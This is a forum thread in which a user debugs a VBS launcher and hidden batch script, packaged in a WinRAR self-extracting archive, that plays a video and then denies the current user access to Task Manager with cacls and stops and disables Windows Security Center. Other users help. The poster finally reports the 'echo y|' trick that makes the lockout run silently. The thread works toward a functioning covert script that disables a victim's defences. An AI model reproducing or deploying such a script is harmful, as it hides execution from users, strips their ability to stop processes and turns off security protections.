G-Stress Posted January 4, 2008 Share Posted January 4, 2008 For some reason I cannot figure out why this gets stuck autorun.vbs '=====================================... Set WshShell = WScript.CreateObject("WScript.Shell") obj = WshShell.Run(".run.bat", 0) set WshShell = Nothing '=====================================... run.bat @echo off IF EXIST C:safety.txt GOTO END ::Play Video File ================= gdputil.exe -runkill 30 vlc.exe -f --disable-screensaver --quiet Beta.wmv :: Kill VLC =========== taskkill /f /IM vlc.exe :: Disable Task Manager ======================= cacls c:windowssystem32taskmgr.exe /D %COMPUTERNAME%%USERNAME% :: Disable Security Center ========================== net stop wscsvc sc config wscsvc start= disabled exit :END echo random message ping localhost -n 4 >nul exit It runs the video file, kills it after 30 seconds just like im wanting, but then gets stuck on cacls... nothing shows on the screen like im wanting, but I cannot figure out why it gets stuck. At least I assume it gets stuck because it doesn't disable taskmgr and in taskmgr I can see cacls and cmd running under the current username with 00 cpu usage on both. whoops, guess I don't need the taskkill anymore using "gdputil.exe" it is a utility I found that kills vlc after a specified time limit. Seems to work better then sleep.exe in this case. I know it does get to cacls though because I see it in taskmgr... anybody have any idea why it might get stuck? Quote Link to comment Share on other sites More sharing options...
G-Stress Posted January 4, 2008 Author Share Posted January 4, 2008 forgot to add I created a package with rinrar an sfx package that runs autorun.vbs after extraction if that helps any. Quote Link to comment Share on other sites More sharing options...
digip Posted January 4, 2008 Share Posted January 4, 2008 The autorun VBS part is ok. I created a bat file and used the vbs to run it hidden. Did you test the bat file itself before calling it from the vbs file to see what errors your getting? Also, how do you reset access to taskmgr before it exits? If anything returns asking for a response and the cmd windows is hidden it will sit wating for a response which you will never see nor be able to respond to. havent run your bat file by itself, but that is my guess. Everything looks good except I can not tell what happens when "gdputil.exe -runkill 30 vlc.exe -f --disable-screensaver --quiet Beta.wmv" is run since I do not have those programs. Quote Link to comment Share on other sites More sharing options...
G-Stress Posted January 5, 2008 Author Share Posted January 5, 2008 @digip, Sorry, I failed to mention, when executing the bat file without the vbs script it runs fine and everything does it's job. The only problem with that is the cmd window isn't hidden. I got the vbs script from your response on a different thread to this link: http://answers.yahoo.com/question/index?qi...11212557AAofTy6 I got gdputil.exe from here: http://www.watchdirectory.net/watchDir/GdPUtil.html I haven't messed with it too much yet, but the -runkill options works perfectly for what I'm wanting. I'm not resetting taskmgr access i'm applying deny permission to the currently logged on user and it works fine except when run by the .vbs file then it stops at that point... guess I could comment out that part and try it and see what happens. Quote Link to comment Share on other sites More sharing options...
G-Stress Posted January 6, 2008 Author Share Posted January 6, 2008 Found out why I was gettings stuck, when running the taskmgr denier it asks am I sure Y or N. Now I thought there was a switch I could use via batch that would automatically answer Yes to any ?'s asked, I thought it was /s the silent switch. I tried that and it still acts as if I'm trying to use cacls switches at the end so I'm a bit stuck here. C:Documents and SettingsG-Stress>cacls c:windowssystem32taskmgr.exe /D %use rname% Are you sure (Y/N)? Quote Link to comment Share on other sites More sharing options...
G-Stress Posted January 6, 2008 Author Share Posted January 6, 2008 Nevermind, I fonud the answer:) I did not think it was gonna be easy as it was to find it, but the first google search I did came up with the exact same problem I was having with a working solution here: http://www.jsifaq.com/SF/Tips/Tip.aspx?id=1556 cacls responds Y or N by adding "echo y|" before filename. Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.